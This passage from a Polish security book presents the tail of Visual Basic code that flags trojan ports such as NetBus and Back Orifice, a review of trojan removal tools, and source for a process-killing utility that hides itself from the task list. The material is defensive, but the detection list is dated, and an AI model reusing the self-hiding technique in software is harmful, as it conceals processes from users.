Winsock2.Close 
ElseIf Winsock2.LocalPort = 5512 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Illusion Mailer" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5550 Then List1.AddItem Winsock2.LocalPort & 
" Found: Xtcp" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5555 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  ServeMe" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5556 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BO Facil" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5557 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BO Facil" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5569 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Robo-Hack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 5742 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  WinCrash" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6400 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  The Thing" 
Winsock2.Close 

background image

 
94 

Hack Wars. Tom 2. Na tropie hakerów 

94 

 

ElseIf Winsock2.LocalPort = 6669 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Vampyre" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6670 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  DeepThroat" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6771 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  DeepThroat" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6776 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BackDoor-G, SubSeven" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6912 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Shit Heep" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6939 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Indoctrination" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6969 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  GateCrasher, Priority, IRC 3" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 6970 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  GateCrasher" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Remote Grab , Kazimas" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7300 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetMonitor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7301 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetMonitor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7306 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  NetMonitor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7307 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetMonitor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7308 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetMonitor" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 7789 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Back Door Setup, ICKiller" 
Winsock2.Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

95 

 

95

 

ElseIf Winsock2.LocalPort = 8080 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  RingZero" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9400 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  InCommand" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9872 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9873 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9874 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9875 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9876 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Cyber Attacker" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9878 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  TransScout" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 9989 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  iNi-Killer" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 10067 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 10101 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BrainSpy" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 10167 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Portal of Doom" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 10520 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Acid Shivers" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 10607 Then List1.AddItem Winsock2.LocalPort & 
" Found: Coma" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 11000 Then List1.AddItem 
Winsock2.LocalPort & " Found: Senna Spy" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 11223 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Progenic trojan" 

background image

 
96 

Hack Wars. Tom 2. Na tropie hakerów 

96 

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 12076 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Gjamer" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 12223 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'99 KeyLogger" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 12345 Then Winsock2.Close 
ElseIf Winsock2.LocalPort = 12346 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  GabanBus, NetBus, X-bill" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 12361 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Whack-a-mole" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 12362 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Whack-a-mole" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 12631 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  WhackJob" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 13000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Senna Spy" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 16969 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Priority" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 17300 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Kuang2 The Virus" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 20000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Millennium" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 20001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Millennium" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 20034 Then Winsock2.Close 
ElseIf Winsock2.LocalPort = 20203 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Logged" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 21544 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  GirlFriend" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 22222 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  Prosiak" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 23456 Then List1.AddItem 
Winsock2.LocalPort & " Found:  

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

97 

 

97

 

  Evil FTP, Ugly FTP , Whack Job" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 23476 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Donald Dick" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 23477 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Donald Dick" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 26274 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Delta Source" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 29891 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  The Unexplained" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30029 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  AOL Trojan" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30100 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSphere" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30101 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSphere" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30102 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSphere" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30303 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Sockets de Troie" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 30999 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Kuang2" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31336 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Bo Whack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Baron Night, BO client, BO2, Bo Facil" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BackFire, Back Orifice, DeepBO" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSpy DK" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Back Orifice, DeepBO" 

background image

 
98 

Hack Wars. Tom 2. Na tropie hakerów 

98 

 

Winsock2.Close 
ElseIf Winsock2.LocalPort = 31339 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  NetSpy DK" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31666 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BOWhack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31785 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31787 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31788 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31789 Then List1.AddItem 
Winsock2.LocalPort & " Found:   
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31791 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 31792 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Hack'a'Tack" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 33333 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Prosiak" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 33911 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Spirit 2001a" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 34324 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  BigGluck, TN" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 40412 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  The Spy" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 40421 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Agent 40421, Masters Paradise" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 40422 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Masters Paradise" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 40423 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Masters Paradise" 
Winsock2.Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

99 

 

99

 

ElseIf Winsock2.LocalPort = 40426 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Masters Paradise" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 47262 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Delta Source" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 50505 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Sockets de Troie" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 50766 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Fore, Schwindler" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 53001 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Remote Windows Shutdown" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 54320 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Back Orifice 2000" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  School Bus" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Back Orifice 2000" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 60000 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Deep Throat" 
Winsock2.Close 
ElseIf Winsock2.LocalPort = 61466 Then List1.AddItem 
Winsock2.LocalPort & " Found:  
  Telecommando" 
Winsock2.Close 
Else 
    List1.AddItem Winsock2.LocalPort & " Active: Standard Well-known 
Port" 
    Winsock2.Close 
End If 
End Sub 
Public Sub WSock3(sPort As Long) 
Winsock3.LocalPort = sPort 
If sPort > 65400 Then 
    cmdStop_Click 
End If 
On Error GoTo z3 
Winsock3.Listen 
Winsock3.Close 
Exit Sub 

'–––– listing skrócony –––– 
 
z3: 'Powtórzenie z2 
z4: 'Powtórzenie z3 
z5: 'Powtórzenie z4 

background image

 
100 

Hack Wars. Tom 2. Na tropie hakerów 

100 

 

Zabezpieczanie portów ukrytych 

Zajmiemy się teraz wyłączaniem usług korzystających z portów o numerach wyŜszych od 
1024,  zarówno  tych,  o  których  wspominaliśmy  w  pierwszym  tomie,  Hack  wars.  Na 
tropie hakerów
, jak i wykrytych w trakcie skanowania portów. Przedstawimy równieŜ 
przegląd narzędzi przeznaczonych do proaktywnego monitorowania i ochrony portów 
przed róŜnego rodzaju włamaniami. 

Rozpoczniemy  od  pakietów  kompleksowo  „oczyszczających”  system,  następnie  przej-
dziemy  do  technik  samodzielnego  wykonywania  tego  rodzaju  czynności,  a  skończymy 
omówieniem  „straŜników”  i  róŜnorodnych  blokad  portów,  pełniących  rolę  mini-zapór. 
Uzupełnieniem będzie prezentacja TigerGuard, w pełni konfigurowalnego, osobistego 
demona zabezpieczeń. 

Programy oczyszczające system 

Programy  tego  rodzaju  wyszukują  obecne  w  systemie  konie  trojańskie  i  wirusy, 
a w przypadku ich znalezienia — usuwają. Większość z nich ma na celu zautomatyzowa-
nie czynności, które juŜ kilka stron dalej opiszemy szczegółowo. Choć narzędzia te — 
o ile uaktualniamy je regularnie — są dość skuteczne, samodzielne skanowanie i ręczne 
usuwanie  „niespodzianek”  nie  traci  na  wartości.  Przedstawimy  więc  jedynie  kilka  przy-
kładów najpopularniejszego, ogólnie dostępnego oprogramowania. W rozdziale 2. zajmie-
my  się  jeszcze  oprogramowaniem,  którego  praca  koncentruje  się  na  wykrywaniu, 
usuwaniu  i  ochronie  przed  samymi  tylko  wirusami.  W  dalszej  części  tego  rozdziału 
zajmiemy się jeszcze pakietami zapewniającymi zablokowanie szkodliwych usług. 

AntiGen i BoDetect 

AntiGen (patrz rysunek 1.26) i BoDetect to narzędzia, które automatycznie wykrywają 
i usuwają  z  komputera  program  Back  Orifice  Server  (BoServ).  AntiGen,  oferowany 
przez firmę Fresh Software, naleŜy do grupy freeware, czyli oprogramowania, z którego 
moŜemy korzystać bezpłatnie. Ogólnie rzecz biorąc, oba narzędzia działają dość dobrze, 
umykają jednak ich skuteczności pewne nowsze mutacje serwera BoServ. Stąd właśnie 
wspomniana juŜ konieczność samodzielnego skanowania i oczyszczania portów. 

Rysunek 1.26.  
Usuwanie konia 
troja
ńskiego BoServ 
programem AntiGen 

 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

101 

 

101

 

NetBus Detective 

NetBus Detective (patrz rysunek 1.27) to maleńki program zaprojektowany wyłącznie 
do usuwania konia trojańskiego NetBus. Jego dodatkową funkcją jest wyświetlanie hake-
rowi powiadomienia o jego wykryciu, łącznie z podaniem IP i nazwy stacji. Jak widać 
na ilustracji, zarówno komunikat dla hakera, jak i wyświetlany uŜytkownikowi mogą 
być modyfikowane. 

Rysunek 1.27.  
Konfigurowanie 
narz
ędzia NetBus 
Detective 

 

 

NetBus Protection System 

NetBus Protection System, w skrócie NPS (patrz rysunek 1.28), to program wykrywa-
jący i chroniący przed koniem trojańskim NetBus. Posiada on dwie niezaleŜne funkcje 
— usuwania szkodliwej usługi i powiadamiania o próbie skorzystania z niej. MoŜna 
korzystać z nich razem lub ograniczyć się jedynie do wyłączenia demona. 

Rysunek 1.28.  
Konfigurowanie 
programu NetBus 
Protection System 

 

 

Tauscan 

Tauscan (patrz rysunek 1.29) to rozbudowany demon słuŜący do wykrywania i usuwania 
róŜnych  koni  trojańskich,  zdolny  do  rozpoznania  większości  znanych  mechanizmów 
backdoor.  Program  pracuje  w  tle,  a  co  ciekawsze,  wykorzystuje  bardzo  niewielką 

background image

 
102 

Hack Wars. Tom 2. Na tropie hakerów 

102 

 

ilość  zasobów  systemu.  Jego  graficzny  interfejs  jest  wyjątkowo  przyjazny  —  obejmuje 
funkcje  takie  jak  inicjowanie  skanowania  metodą  drag-and-drop  i  prawym  przyciskiem 
myszy, jak równieŜ kreator konfiguracji. Czyni to program wyjątkowo prostym w uŜyciu. 

 

Rysunek 1.29.  
Przyjazny interfejs 
GUI programu 
Tauscan 

 

 

 

 

Tauscan moŜna pobrać z witryny www.agnitum.com/products/tauscan/

The Cleaner 

The Cleaner (patrz rysunek 1.30) to kolejne narzędzie słuŜące do wyszukiwania i usuwa-
nia z komputera programów szkodliwych, a niewidocznych dla uŜytkownika. Zgodnie 
z zapewnieniami autora, The Cleaner korzysta ze specjalnej procedury jednoznacznej 
identyfikacji  plików:  nie  moŜna  ich  ukryć  ani  przez  zmianę  nazwy,  ani  zgłaszanej 
wielkości pliku, jak równieŜ przez dołączenie kodu do innego programu. 

 

 

The Cleaner moŜe zostać pobrany z witryny www.moosoft.com/

Trojan Remover 

Trojan Remover (patrz rysunek 1.31) to system wykrywania i usuwania koni trojańskich 
zaprojektowany przede wszystkim pod kątem systemów Windows 9x. Choć zasób je-
go funkcji jest dość ograniczony — nie posiada między innymi funkcji zapobiegania „za-
raŜeniu” — zaletą narzędzia jest sprawne usuwanie wielu popularnych „wtyczek”. Ja-
ko  dostępny  do  pobrania  i  bezpłatny,  stać  się  moŜe  dobrym  uzupełnieniem  posiadanej 
kolekcji programów zabezpieczających. 

 

Trojan Remover moŜe zostać pobrany z witryny www.simpysup.com/tremover/

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

103 

 

103

 

Rysunek 1.30.  
The Cleaner moŜ
by
ć potęŜnym 
sprzymierze
ńcem 
w walce 
z włamaniami 

 

 

 

Rysunek 1.31.  
Główne okno 
programu Trojan 
Remover 

 

 

Techniki samodzielnego usuwania koni trojańskich 

Jak przedstawiliśmy to w Hack wars. Na tropie hakerów, programy do włamań penetra-
cyjnych  mają zazwyczaj za zadanie „otworzyć tylne  wyjście”, czyli utworzyć lukę 
w systemie zabezpieczeń systemu. Mimo, Ŝe zadania samego demona często nie są 
szkodliwe, intencje osoby korzystającej z niego trudno uznać za poŜądane. Stąd właśnie 

background image

 
104 

Hack Wars. Tom 2. Na tropie hakerów 

104 

 

konieczność  korzystania  z  programów  zapewniających  zautomatyzowanie  procesów 
przeglądania systemu, wykrywania niepoŜądanych demonów i ich usuwania. Ich działanie 
nie  zawsze  jednak  gwarantuje  pełną  skuteczność.  Istotnym  uzupełnieniem  stają  się 
więc techniki samodzielnego, „ręcznego” zabezpieczania portów, usuwania usług i blo-
kowania dostępu do systemu. 

Lista omawianych na kolejnych stronach metod bazuje na liście portów i usług przed-
stawionych  w  pierwszym  tomie  Hack  wars  —  obejmuje  ona  narzędzia  najczęściej 
spotykane  i  najbardziej  niebezpieczne.  Podstawowe  czynności  sprowadzają  się  do 
modyfikowania rejestru oraz usuwania lub „maskowania”  plików (przypomnijmy  — 
rejestr  to  hierarchiczna  baza  danych  stosowana  w  nowych  wersjach  systemu  Win-
dows: 95/98, Millenium, NT 4 i 2000; są w niej przechowywane wszystkie ustawienia 
systemowe; odpowiada uŜywanym  w Windows 3.x plikom 

.ini

; do rejestru przeniesione 

zostały  wpisy z plików 

system.ini

win.ini

  i 

control.ini

; równieŜ instalowane  w  systemie 

programy przechowują w rejestrze swoje dane inicjalizacyjne i konfiguracyjne). 

Rejestr nie moŜe być modyfikowany przy uŜyciu Ŝadnego ze standardowych edytorów. 
Niezbędne jest korzystanie z narzędzia regedit lub, w Windows NT 4 i 2000, RegEdt32
Skrótu do niego nie znajdziemy w menu Start. Plik uruchamiający znajduje się w katalogu 
systemu  operacyjnego.  Aby  uruchomić  Edytor  Rejestru  korzystamy  z  menu  Start  | 
Uruchom
 i wprowadzamy polecenie 

regedit

 lub 

regedt32

 

Przed  wprowadzaniem  jakichkolwiek  modyfikacji  w  rejestrze  (lub  uruchamianiem 
przedstawianych  programów)  naleŜy  utworzyć  jego  kopię  zapasową.  Oprogramowanie 
umoŜliwiające  skuteczne  zabezpieczenie  rejestru  pobrać  moŜna  z  ośrodków  TuCows 
(www.tucows.com) lub Download (www.download.com). 

Standardowe struktury rejestru to: 









 

HKEY_CLASSES_ROOT. Zawiera ustawienia oprogramowania, które 
opisują czynności inicjowane operacjami drag-and-drop, podstawowe informacje 
o uchwytach i inne dane związane z interfejsem uŜytkownika. Znaleźć tu 
moŜna podklucz dla kaŜdego ze zdefiniowanych skojarzeń plików. 









 

HKEY_CURRENT_USER. Zawiera dane dotyczące zalogowanego w danym 
momencie uŜytkownika. Obejmują one: 



 

AppEvents. Przypisania dźwięków do generowanych przez system i aplikacje 
zdarzeń. 



 

Control Panel. Ustawienia określone poprzez Panel sterowania zbliŜone 
do znanych z plików 

system.ini

win.ini

 i 

control.ini

 systemu Windows 3.x. 



 

InstallLocationsMRU. Zawiera ścieŜki do folderów programów instalacyjnych. 



 

Keyboard Layout. Określa bieŜący układ klawiatury. 



 

Network. Dane połączeń sieciowych. 



 

RemoteAccess. Dane lokalizacji uŜytkownika, stosowane przez Dial-Up 
Networking. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

105 

 

105

 



 

Software. Ustawienia konfiguracyjne oprogramowania, stosowane 
w odniesieniu do zalogowanego uŜytkownika. 









 

HKEY_LOCAL_MACHINE. Informacje o ustawieniach oprogramowania 
i podzespołów komputera, wspólne wszystkim uŜytkownikom danej stacji: 



 

Config. Dane i ustawienia konfiguracji. 



 

Enum. Dane i ustawienia urządzeń sprzętowych. 



 

Hardware. Dane i ustawienia szeregowych portów komunikacyjnych. 



 

Network. Informacje o sieciach, do których zalogowany jest uŜytkownik. 



 

Security. Ustawienia zabezpieczeń sieciowych. 



 

Software. Dane i ustawienia specyficzne dla zainstalowanego oprogramowania. 



 

System. Dane inicjalizacyjne, informacje o sterownikach i ustawienia 
systemu operacyjnego. 









 

HKEY_USERS. Informacje o ustawieniach pulpitu i uŜytkownika — zawiera 
podklucze dla wszystkich zdefiniowanych w systemie Windows uŜytkowników. 
Domyślnym kluczem ustawień uŜytkownika jest .default









 

HKEY_CURRENT_CONFIG. Informacja o bieŜącej konfiguracji 
sprzętowej — odwołanie do elementu HKEY_LOCAL_MACHINE. 









 

HKEY_DYN_DATA. Dane dynamiczne, dotyczące zainstalowanych w systemie 
urządzeń Plug and Play. Ulegają zmianie w trakcie pracy systemu, wraz 
z dołączaniem i odłączaniem urządzeń. 

Przy usuwaniu plików zdarzyć się moŜe, Ŝe wyświetlone zostanie okienko podobne do 
przedstawionego na rysunku 1.32. Informuje ono, Ŝe plik jest aktualnie uŜywany — po-
słuŜył  do  uruchomienia  pracującego  w  systemie  procesu.  W  tego  rodzaju  wypadkach 
konieczne  jest  zamknięcie  procesu.  MoŜna  wciśnięciem  Ctrl+Alt+Delete  wywołać 
okienko Zamknij program i skorzystać z polecenia Zakończ zadanie. Jednak nie wszystkie 
procesy będą w menedŜerze zadań widoczne. Wyświetlenie pełnej listy umoŜliwia pro-
ste  narzędzie  dla  systemów  Windows  9x/Me  —  TigerWipe  (patrz  rysunek  1.33).  Aby 
zamknąć  proces,  zaznaczamy  odpowiednią  pozycję  i  klikamy  Wyczyść.  Na  kolejnych 
stronach przedstawiamy jego kod źródłowy — Czytelnik moŜe dostosować i wykorzy-
stać przedstawione w nim procedury. Przykładowym kierunkiem rozbudowy moŜe być 
wersja wykrywająca konie trojańskie, zamykająca ich procesy i usuwająca odpowiednie 
pliki. Tutaj prezentujemy jedynie prosty interfejs do samodzielnej obsługi listy. 

Rysunek 1.32.  
ąd typu File in use 
(plik w u
Ŝyciu) 

 

 

TigerWipe 

Dim X(100), Y(100), Z(100) As Integer 
Dim tmpX(100), tmpY(100), tmpZ(100) As Integer 

background image

 
106 

Hack Wars. Tom 2. Na tropie hakerów 

106 

 

Dim K As Integer 
Dim Zoom As Integer 
Dim Speed As Integer 

 

Rysunek 1.33.  
Dzięki TigerWipe 
usuwanie ukrytych 
procesów nie jest 
czynno
ścią trudną 

 

 

Private Sub Command2_Click() 
Unload Me 
End Sub 
Private Sub Form_Activate() 
    Speed = -1 
    K = 2038 
    Zoom = 256 
    Timer1.Interval = 1 
    For i = 0 To 100 
        X(i) = Int(Rnd * 1024) - 512 
        Y(i) = Int(Rnd * 1024) - 512 
        Z(i) = Int(Rnd * 512) - 256 
    Next i 
End Sub 
 
Private Sub Command1_Click() 
KillApp (Text1.Text) 
End Sub 
 
Public Function KillApp(myName As String) As Boolean 
    Const PROCESS_ALL_ACCESS = 0 
    Dim uProcess As PROCESSENTRY32 
    Dim rProcessFound As Long 
    Dim hSnapshot As Long 
    Dim szExename As String 
    Dim exitCode As Long 
    Dim myProcess As Long 
    Dim AppKill As Boolean 
    Dim appCount As Integer 
    Dim i As Integer 
    On Local Error GoTo Finish 
    appCount = 0 
     
    Const TH32CS_SNAPPROCESS As Long = 2& 
     

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

107 

 

107

 

    uProcess.dwSize = Len(uProcess) 
    hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) 
    rProcessFound = ProcessFirst(hSnapshot, uProcess) 
    List1.Clear 
     
    Do While rProcessFound 
        i = InStr(1, uProcess.szexeFile, Chr(0)) 
        szExename = LCase$(Left$(uProcess.szexeFile, i - 1)) 
        List1.AddItem (szExename) 
        If Right$(szExename, Len(myName)) = LCase$(myName) Then 
            KillApp = True 
            appCount = appCount + 1 
            myProcess = OpenProcess(PROCESS_ALL_ACCESS, False,  
            uProcess.th32ProcessID) 
            AppKill = TerminateProcess(myProcess, exitCode) 
            Call CloseHandle(myProcess) 
        End If 
 
 
        rProcessFound = ProcessNext(hSnapshot, uProcess) 
    Loop 
 
    Call CloseHandle(hSnapshot) 
Finish: 
End Function 
 
Private Sub Form_Load() 
KillApp ("none") 
RegisterServiceProcess GetCurrentProcessId, 1 'Ukrycie aplikacji 
End Sub 
 
Private Sub Form_Resize() 
List1.Width = Form1.Width - 400 
List1.Height = Form1.Height - 1000 
Text1.Width = Form1.Width - Command1.Width - 300 
Command1.Left = Text1.Width + 150 
End Sub 
 
Private Sub Form_Unload(Cancel As Integer) 
RegisterServiceProcess GetCurrentProcessId, 0 'Wyrejestrowanie 
znacznika usługi 
End Sub 
 
Private Sub List1_Click() 
Text1.Text = List1.List(List1.ListIndex) 
End Sub 
 
Private Sub List1_dblClick() 
Text1.Text = List1.List(List1.ListIndex) 
KillApp (Text1.Text) 
End Sub 
 
Private Sub Text1_KeyPress(KeyAscii As Integer) 
If KeyAscii = "13" Then 
KillApp (Text1.Text) 
End If 
End Sub 
 
Private Sub Timer1_Timer() 
    For i = 0 To 100 
    Next i 

background image

 
108 

Hack Wars. Tom 2. Na tropie hakerów 

108 

 

End Sub 

Moduł 

Const MAX_PATH& = 260 
Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess 
As Long, ByVal    
  uExitCode As Long) As Long 
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As 
Long, ByVal  
  blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long 
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" 
(ByVal  
  hSnapshot As Long, uProcess As PROCESSENTRY32) As Long 
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" 
(ByVal hSnapshot  
  As Long, uProcess As PROCESSENTRY32) As Long 
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias  
  "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As 
Long) As Long 
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As 
Long 
Type PROCESSENTRY32 
    dwSize As Long 
